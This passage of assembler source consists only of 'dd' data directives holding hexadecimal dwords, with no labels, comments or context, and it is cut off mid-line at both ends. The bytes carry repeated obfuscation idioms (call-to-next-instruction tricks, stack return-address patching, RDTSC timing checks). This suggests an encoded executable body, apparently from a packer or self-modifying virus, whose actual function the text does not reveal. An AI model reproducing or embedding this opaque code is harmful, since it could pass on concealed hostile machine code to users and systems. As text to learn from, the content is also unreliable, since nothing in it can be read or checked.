6A062230h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0CB6EC357h, 0E4B90DCAh, 633CF005h, 0AE8h, 0F245A600h dd 0C3BF6198h, 0BB8DC2E6h, 2778CD55h, 0FB7B95Bh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 3B2716C3h, 0F35668Ah, 0E183F8BFh, 21BD8BFCh, 0FC062233h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5DC35747h dd 119046D3h, 0F7A7C80h, 0C02BF9B7h, 28419529h, 0D22B0622h dd 339D9D8Bh, 33AD0622h, 3E8D1C2h, 4E983D0h, 0AFBFF475h dd 6A63FFDBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 3A7EC357h, 603E300Ah, 6649E280h dd 0D61DF8Bh, 88h, 0E7816653h, 8B5F7551h, 2233F195h, 8B3EB306h dd 222D318Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0E21FC357h, 27EBCEC0h, 55006AF6h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 79BD8B3Fh, 0E9062200h, 8, 4A8AC75Dh, 69164998h, 2C69BD83h dd 0F000622h, 6A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0BAF6A116h, 0BBF97C00h dd 208D90B0h, 0B8h, 0D59D8B00h, 8D062200h, 2250B18Dh, 0BF666006h dd 4BBF884Ch, 616E3947h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 4E8F9BC3h, 2D105B09h dd 839E99E3h, 2230E5BDh, 840F0006h, 408h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 49C35545h, 3B8546AEh dd 0BB664D10h, 8B66E4C8h, 0BE96BBFAh, 0BD832C75h, 62230E5h dd 0E8840F01h, 6A000003h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0A6AFC350h, 558D77AFh dd 38F0Fh, 0B70F0000h, 88ECBFDFh, 0BD836C5Fh, 62230E5h dd 76860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 556AC356h, 31A2C705h dd 0EE917h, 27770000h, 5B589D82h, 12DFD671h, 89A6B170h dd 0F9BF0F60h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0CB6DC353h, 0C27EF81h dd 0E180463Ch, 0F98D8904h, 60062225h, 7E8h, 0C4A92300h dd 3CBBCA21h, 895F52B4h, 22003195h, 0C90A6106h, 0C4840Fh dd 85890000h, 6221845h, 10B9858Bh, 9E90622h, 0C000000h dd 7BE3477Ah, 2FF5896Eh, 8A58533h, 0BF570622h, 714F9D89h dd 27B7905Fh, 0DEB0BF50h, 8B907A4Ch, 2234D19Dh, 51006A06h dd 1A1BD23h, 685F0622h, 6EFA25D0h, 52505250h, 8D0Fh, 310F0000h dd 310F5250h, 585A585Ah, 0DBB7310Fh, 3481585Ah, 0E5262F24h dd 15BD8B6Eh, 0FF062228h, 221E9195h, 89FB8B06h, 25CAEB85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0FEBAACAEh, 0CD804892h, 1D2E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 4C94A1C4h, 858BFA8Bh, 625CAE3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 97C35040h, 0F5D0F9B6h, 0C7F330h dd 18h, 8BFE8B66h, 25CAE7B5h, 5DBD8B06h, 8B06220Fh, 220A6585h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0F590B5A8h, 0BF660689h, 858BEDFDh, 62210B9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 84C35040h dd 3D9D8BFCh, 23062210h, 2205E99Dh, 4468906h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0AC35747h, 0B2C51CA6h dd 0B87043F0h, 1CB7D98Bh, 0A760F781h, 895043CFh, 0FFF52434h dd 25CAE3B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0DC014Ah, 4E82BCEh, 0FF000000h, 66001F03h dd 509452BBh, 448BFE8Bh, 0FE80424h, 6E000000h, 0CBC7044Ah dd 5769CF5Dh, 30E161A2h, 0DE8F44Fh, 43000000h, 0D903CEA8h dd 0ED71A0D7h, 906C25C4h, 0FFA282BFh, 8B5F5F7Ch, 0FE85200h dd 4A000000h, 651DA848h, 5AD9FC74h, 20587C7Eh, 8B6691E6h dd 895B5FD9h, 66042444h, 8958F88Bh, 222031B5h, 0BCBB6606h dd 0EB858D04h, 660625CAh, 0BB90D98Bh, 58DD463Ah, 7F5FBB50h dd 0E9902EE6h, 7, 7D447F7Bh, 0FF887ECEh, 221E9195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 1B747AC3h, 5FBB9A74h, 6101DF93h, 85C772B7h, 62230E5h dd 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h dd 7EC35747h, 95BD8Bh, 0E9600622h, 0Eh, 3C10E40Eh, 7DC0C703h dd 95E0592h, 8361CFCBh, 25CAEBBDh, 840F0006h, 29h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BAC35242h, 21E95CBCh dd 89000000h, 2204B585h, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h dd 0C08B00EBh, 0FC94BF66h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0BBC35646h, 1888726Ah, 8830Fh, 29570000h dd 221F8D95h, 0FFC5F06h, 685h, 9D9D8B00h, 8306221Ah, 2230E5BDh dd 850F0306h, 481h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 36C35747h, 495AB3Bh, 0BD83BFB8h, 625CAEBh dd 52840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 8626C355h, 699D2B54h dd 6606220Eh, 0FF5357BFh, 25CAEBB5h, 9E906h, 577F0000h dd 2BF0EAE8h, 0FF53385Ah, 221DCD95h, 299D8B06h, 8B062218h dd 25CADFB5h, 0DE38106h, 0C74A6EFCh, 1000106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 66C6C02Ah, 4B03A0F9h, 9E938h, 0E3980000h, 0FE5C291Ah dd 0F53077DCh, 0BF665096h, 6A9628FAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 5B66C355h dd 7B2651B7h, 11E943h, 50AC0000h, 6898037Fh, 0E40EE9D2h dd 0C7033C10h, 0FF927DC0h, 25CAEBB5h, 219D8B06h, 0FF062205h dd 22254195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0D7381EEBh, 13E9h, 0CFE33B00h, 9F6B7C9Fh dd 82283978h, 442DA3C8h, 0DDC30CABh, 0CADFB58Bh, 6A0625h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0BDD407C3h, 8BFBB70Fh, 221B2D85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E8C59896h dd 9, 0A09286BCh, 7D1BEBE2h, 12850F0Bh, 0E9000000h, 0Dh dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 86895FC9h, 0C4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 22C35141h, 76789658h dd 49BD8BADh, 8B062233h, 2233F195h, 8E906h, 6CBD0000h dd 24CFC288h, 9D8B3C39h, 6223079h, 6A04C283h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0F14FC356h, 7936542Ch, 89205089h, 220005BDh, 0BC858D06h dd 0F0625DEh, 89FCFABFh, 0B886h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F0F627EBh dd 1028E7C7h, 13E930h, 0FD370000h, 22AC3641h, 0B1337849h dd 2C6962E7h, 37F50ACh, 0F006A98h, 68Ch, 959D8B00h, 0FF062233h dd 25CAEBB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 707DFE5Fh, 347CFA92h, 8595FF92h dd 8A062202h, 5E9F8h, 0CD3B0000h, 962D146Ah, 6650FE8Bh dd 6A96DE8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 9E8EC353h, 319BD8Bh, 0B5890622h dd 62227D5h, 0CAEBB5FFh, 6A0625h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 5B468CC3h, 0C19EB457h dd 0B2B3B362h, 1AF595FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 462486C3h, 7E84DEBFh dd 31BD8314h, 62213h, 70840Fh, 13E90000h, 5B000000h, 0BDE5252Fh dd 0ADBD5A1Eh, 91D96520h, 320865D9h, 0E896EB47h, 0Eh, 40C05436h dd 8923D22Ah, 0B0236B10h, 52503C63h, 310F6160h, 310F5250h dd 585A585Ah, 5250505Fh, 5660310Fh, 800F5Ah, 61000000h dd 6A96585Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0DED1C356h, 28C59D2Bh, 0B5FF0622h dd 625CAEBh, 75BD8B57h, 5F06222Dh, 1D4195FFh, 6A0622h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 6A8BDDC3h, 8FAF0E62h, 0CAEBB5FFh, 6A0625h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3CBE55C3h dd 4C15DAB1h, 8B4B70ACh, 0C595FFF9h, 0F06222Fh, 0BD83D9B7h dd 62202A9h, 39840F02h, 0B3000000h, 0E1858BC1h, 89062200h dd 222C498Dh, 0C606h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 41C35646h, 559E36Dh, 9D8B0ED3h, 622006Dh dd 197D85C7h, 622h, 0EB800000h, 0F363E9EAh, 8956FFFFh dd 22311DB5h, 0C18B5B06h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 2EC35141h, 0A447B589h, 0B7A4ACE0h, 0D38166D0h dd 858D53BFh, 6222CB5h, 0C8D0BB50h, 4890CC5h, 0FA8B6624h dd 8E9h, 5AECBD00h, 8BCB15D3h, 6A006A48h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 4E28C352h dd 8166006Ah, 8DAA82E3h, 27002385h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 8E86097h, 13000000h dd 84189196h, 6021B6CFh, 0B4B65961h, 5C08361h, 50DAB70Fh dd 48996B7h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 9D8BE055h, 6221E95h, 7E9h, 49403500h dd 0E745DDEEh, 0F8F9006Ah, 95FF006Ah, 6223555h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CCC35242h, 0F8D8DC0h dd 8B0625A9h, 222029BDh, 0F6BB6006h, 0F72E864h, 0FF61DBBFh dd 83D98AD1h, 2200F5BDh, 850F0106h, 0C3h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6FC35747h, 6BF5AD30h dd 66611256h, 563636BBh, 10880Fh, 0BE90000h, 3A000000h dd 71EDCC92h, 830A3F30h, 6A5F0A6Ah, 35850902h, 50062224h dd 6E95250h, 27000000h, 9795741Ch, 60310F67h, 5F57FB8Bh dd 89585A61h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B377DC3h, 2226859Dh, 8595FF06h dd 6A062202h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 8D15C355h, 0D7DDE07Bh, 0BB66AC84h dd 870F7B2Dh, 0Bh, 5820Fh, 0FCBF0000h, 0E915956Ch, 0E38h dd 0E8h, 0ED815D00h, 627002Dh, 8E9h, 8842B900h, 515F89C8h dd 0DE81Eh, 0E0830000h, 80C74355h, 794DFB12h, 8B0E290Ch dd 223511BDh, 9D895B06h, 622160Dh, 9345858Dh, 6A0625h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0CF4C7EC3h, 0BC53F20Eh, 0CE9h, 9F412400h, 47E9BDFEh dd 0E402BAE8h, 599D0114h, 50062212h, 52505250h, 310FF98Bh dd 26CABB66h, 310F585Ah, 0A614FCBFh, 89585A29h, 0BB662404h dd 0FF6450C4h, 35h, 645F5000h, 2589h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 271CA8C3h, 3F64ED11h, 0B185FF5Eh, 66062208h, 2F25E381h dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 35C04FC3h, 0FD942076h, 0B5FF4650h, 6220021h dd 0D98D2956h, 5B062206h, 1C3595FFh, 2DE90622h, 0F000001h dd 68Bh, 398D0900h, 0B0062203h, 0DEB70F00h, 0F70E6FCh dd 8166FFB7h, 0E4F673C3h, 85BF6671h, 0F613C45h, 10383h dd 0A25EBB00h, 0B60F1062h, 0E5BD8BC8h, 0BA062200h, 6, 8BFEB70Fh dd 4E8C1C1h, 3229BD31h, 0F7660622h, 0C9BF50E2h, 5B7B137Dh dd 0D7BFC82Bh, 8B3D3C17h, 858960D1h, 62228BDh, 221DCE81h dd 0E9612AE1h, 0BCh, 10E960h, 1C6B0000h, 0BFB15B98h, 0A71D6213h dd 587E1EB9h, 0DD8A4A02h, 44858B61h, 505F4C4Ch, 6830Fh dd 9D030000h, 6221C59h, 7C0835Fh, 7E9h, 0D2D98400h, 0B4E723F0h dd 0B6D1DB81h, 0C0830839h, 0EDC78100h, 3B07F92Fh, 11830FD0h dd 29000000h, 220A6D95h, 5EE906h, 0BD890000h, 622107Dh dd 0FFFF8D8Bh, 0DE8BFFFFh, 0F01E183h, 4784h, 0FE800h, 4E590000h dd 77047AF3h, 0A72ACF48h, 2A763F0Ch, 0ACB8148h, 5F7EFEB1h dd 0FFFFA583h, 0E9FEFFFFh, 0Fh, 859F2E81h, 4B81F10Ah, 29093CF6h dd 89E49E61h, 4C4C4495h, 719D235Fh, 0E9062226h, 0 dd 7F9BB58Dh, 6A0626h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E9B6AAC3h, 8, 3C326768h, 11FB06A5h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 830CEBC3h, 58D2B144h, 0BD896026h, 6223165h dd 1969858Bh, 0FF610622h, 22307595h, 820F5706h, 6, 13DD9D03h dd 8B5B0622h, 2203C9BDh, 1003B906h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 8E82BEC3h dd 8F8592FDh, 0FCE18388h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0E1C35242h, 0A6FA1CADh, 334FBF66h, 53BFBFFCh dd 0C02B3B41h, 6E9h, 8EE42C00h, 23E50FAFh, 223245BDh, 0BA06h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 3298DDC3h, 7B2C1EB7h, 0E9F8D721h, 7, 1F5AB0C4h dd 3B965C0h, 221BB19Dh, 0C233AD06h, 0D003E8D1h, 7504E983h dd 65BD89F4h, 0F06221Ch, 683h, 9D9D3300h, 1062210h, 2219F98Dh dd 880D06h, 14E90000h, 18000000h, 0A3F4F9D2h, 0EED422B9h dd 187EDE82h, 696939EBh, 8B2838B9h, 2233F195h, 10DB8106h dd 8B7DB7ACh, 222D318Dh, 0F3BB306h, 389h, 0F9BF0F00h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0D98A5818h, 6860Fh dd 9D8B0000h, 622195Dh, 26359D8Bh, 4CBF0622h, 8328A4F6h dd 222C69BDh, 840F0006h, 3Dh, 0B8h, 0BAF78000h, 50B18D8Dh dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EB779DC3h, 8B19CE9Eh, 2224359Dh, 0BF665006h dd 0FF5B613Dh, 0E5BD83E1h, 62230h, 550840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8D8927C3h, 6221DB5h, 30E5BD83h, 0F010622h, 53C84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 51C7FA9Fh, 66F51796h, 830AEEBBh, 2230E5BDh, 860F0306h dd 4D3h, 69BD3360h, 66062218h, 6061C38Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 0D7C35242h, 76664D96h dd 0E9CB8113h, 1540D6Ch, 22163D8Dh, 0D58D8906h, 66062230h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0DA8634C3h, 0BD32EE44h, 8960C135h, 221831B5h dd 6860F06h, 0F000000h, 8Ch, 8B666100h, 4E180DAh, 0FC90AFCh dd 14984h, 95B58900h, 8B062226h, 2210B985h, 14E906h, 0F9AB0000h dd 8C9AAFF3h, 33A7F752h, 0CB338A56h, 5B35CFD9h, 85336FBCh dd 62208A5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 94C35141h, 50594C10h, 735DBB66h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0B87EC352h, 890074E9h, 222719BDh, 8B006A06h, 221BBD9Dh dd 4E806h, 3FF0000h, 860F001Fh, 0Ah, 0FF28B60h, 87h, 0F506100h dd 588h, 1DD5BF00h, 448B3E8Fh, 8B660424h, 0B7008BF8h, 244489B1h dd 10E804h, 6BFA0000h, 6DCF818Dh, 0C8D57C51h, 488483CCh dd 585FDB52h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0BC35040h, 6F75BB66h, 1E9195FFh, 0B5890622h, 6221CE9h dd 0CAEB8589h, 8B600625h, 22025985h, 0BE906h, 32AC0000h dd 26CBBA43h, 0A3F827CDh, 0BF66611Dh, 96E9D2DCh, 6A000002h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0BF79C357h, 223AE6EBh, 0DAB70F57h, 21A9BD8Bh dd 858B0622h, 625CAE3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0F4C35141h, 8B53AE68h, 222FB9BDh, 10E95B06h dd 9C000000h, 0EF2D64ABh, 0B8DA54Dh, 1620A875h, 0C7177682h dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 2DFAEDB7h, 9C7F83B5h, 8150D98Bh dd 8579DEC3h, 0B58B5B5Ah, 625CAE7h, 1809BD33h, 9D8B0622h dd 62220B1h, 0A65858Bh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 5FB6C5C3h, 624793E4h dd 6060C709h, 0E8806160h, 0B70F6186h, 68961F7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 30C35141h, 0D8895B90h dd 858BDE8Bh, 62210B9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0B3C35747h, 0E88FE5BFh, 89F86732h, 6A0446h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 51D61BC3h, 53312637h, 8BFE8B66h, 222D01BDh, 8B665006h dd 243489D9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0B8C35646h, 0C6F6C5E8h, 2BBB374Ch, 0E3B5FF47h dd 290625CAh, 221CE1BDh, 4E806h, 3FF0000h, 5250001Fh, 8E9h dd 91ECE200h, 9B495796h, 5A310F39h, 0E8605058h, 5, 8AAC5E5Eh dd 0DA8B6621h, 448B615Bh, 66500424h, 8B5FDF8Bh, 15C7BB00h dd 44897C47h, 8B660424h, 6A58F9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 2A1E4DC3h, 1793820h dd 9D894EF1h, 622243Dh, 0CAEB858Dh, 6A0625h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CD32DEC3h dd 0B5F1D6FBh, 0D98BF7BFh, 97B7CB81h, 0F5025DBh, 383h dd 0D98B6600h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 86FEC350h, 0C6F273FCh dd 0FFCEDB80h, 221E9195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0CBD5D162h dd 0B70FB1CBh, 6A61FBh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 5EDB8C3h, 0BE9h, 7BA58B00h, 0D2A77098h dd 380F4C3Eh, 30E585C7h, 30622h, 9D8B0000h, 62230F5h, 5E9h dd 8DC33C00h, 0BD83F149h, 625CAEBh, 40840F00h, 66000000h dd 337DD781h, 51E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0A71F97DDh, 11E9ABh, 396C0000h dd 0DC2C3934h, 38083BDDh, 351DF811h, 50485BA1h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 3F0621C3h, 178F5A80h, 0B589F050h, 62206B5h, 0D150CB81h dd 8D313AAEh, 6220AA5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0F7C35040h, 3A247A13h, 5083B848h, 7999D8Bh dd 0B5890622h, 622185Dh, 30E5BD83h, 0F030622h, 3E085h dd 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0DC4A16B8h, 0B841483h, 0E85380C2h, 5, 27DB770Dh, 835B5B26h dd 25CAEBBDh, 840F0006h, 3A1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0A6C35545h, 2EBE3779h, 0FF17BEFEh dd 25CAEBB5h, 0BD296006h, 6220AFDh, 8961E28Ah, 221DA585h dd 0CD95FF06h, 2906221Dh, 221C75B5h, 0DFB58B06h, 0F50625CAh dd 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0B2705DC3h, 5084D780h, 0DE9h, 2FDF8900h dd 65F6C299h, 86CCDD5Fh, 34892B22h, 8FD38124h, 0E83EB422h dd 12h, 78AB6022h, 0EEC460B5h, 404BEBB2h, 1C8CEC0Fh, 0D98B0DEBh dd 0EBB5FF5Bh, 0B30625CAh, 0D7816688h, 95FF8F82h, 6222541h dd 13E8h, 2B79E200h, 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h dd 339D9589h, 8B5B0622h, 25CADFB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 99767F3h, 0A5663AE2h dd 1D85BD8Bh, 858B0622h, 6221B2Dh, 897ECF80h, 0C486h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 6E99D39Eh, 0CEC7917Fh, 0D1BD0B00h, 8B062215h, 2233F195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 37A3CA39h, 4C28338h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 13C35242h, 6A205089h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0C1E1C350h, 66F381C3h, 8D352A38h, 25DEBC85h, 15B58906h dd 89062216h, 0B886h, 6A81B300h, 0B5FFFC00h, 625CAEBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 21C35545h dd 0E2B44B2Fh, 0FF518137h, 22028595h, 0AE906h, 657E0000h dd 244A0E57h, 0A6D57A0Ah, 5E850h, 5F750000h, 5F3E7AADh dd 89243489h, 221261BDh, 0EBB5FF06h, 6A0625CAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0C0C2C350h, 3310E4BFh, 0F595FF1Ch, 6A06221Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0F34FC353h, 438CE125h, 0ACD38166h, 31BD83C0h, 62213h dd 51840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 1F5C18C3h, 57DF81D2h, 500955C0h dd 844E8BBh, 2434893Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0D6C35747h, 660AD733h, 0FF4CCABBh, 25CAEBB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 4D6C90CBh, 7DAB23D4h, 8E91Bh, 5F530000h dd 6D78B3BBh, 95FFDE14h, 6221D41h, 28158509h, 0B5FF0622h dd 625CAEBh, 936165BFh, 0BA22BF52h, 95FF60F3h, 6222FC5h dd 2A9BD83h, 0F020622h, 3C84h, 0DE86000h, 2D000000h, 0EFAFEE6Bh dd 30EAA87Fh, 29D1CDEh, 70B811BEh, 0DE95918h, 0B3000000h dd 8CC5FEF7h, 66A12667h, 7DB727D2h, 0E1858B61h, 0F8062200h dd 890000C6h, 22219595h, 7D85C706h, 62219h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 3E77C351h, 9A34841Fh, 89DB87A3h, 222AA9B5h dd 0F2B2E906h, 8956FFFFh, 2232E995h, 0C18B5B06h, 0E3D9D8Bh dd 9D8B0622h, 622200Dh, 2CB5858Dh, 6A0622h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 4BFF71C3h dd 13E9h, 0FDF6EA00h, 0DDD60FCAh, 0C92CB43Dh, 0F2EC95E3h dd 9537D659h, 28FD8D31h, 50900622h, 50525060h, 8B310F5Ah dd 66585AC8h, 9061C88Bh, 6ADA8Ah, 0AE8h, 8686B800h, 9B54FFB4h dd 0F21085Ah, 6A5FDAB7h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 66389710h, 858D140Bh dd 6271090h, 5ED2BB66h, 83D7C380h, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 29CF1DC3h dd 0BA6FDBBFh, 8C0F585Fh, 0 dd 0AE9h, 9EF62D00h, 83E06193h, 90940FF8h, 9E9h, 42B54200h dd 0F3E4BF2Ch, 66501EA8h, 90E521BFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 43C35242h, 6A38DF80h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E92B6BD8h, 9, 18E9E2Bh, 8062038h, 6A006A1Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 33BBC355h, 355595FFh, 6A0622h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0B394ECC3h, 0A9B5890Bh dd 8D062221h, 25A90F8Dh, 9D1FF06h, 222C8185h, 0FDBD8B06h dd 8306220Eh, 2200F5BDh, 850F0106h, 8Ch, 28F99D8Bh, 26A0622h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2DC35646h dd 0E1931E14h, 69850932h, 2906221Fh, 2214AD9Dh, 4895006h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0BD8BCCE1h, 6220ECDh, 9E9h, 360C1000h, 9DCC2281h dd 95FF0A32h, 6220285h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0CC35141h, 0CEAE9h, 0E800h, 815D0000h dd 27109AEDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0AD213184h, 32F4825Ch, 0BB66609Bh dd 8961858Fh, 220F718Dh, 28A0F06h, 0B3000000h, 45858D10h dd 89062593h, 22057DB5h, 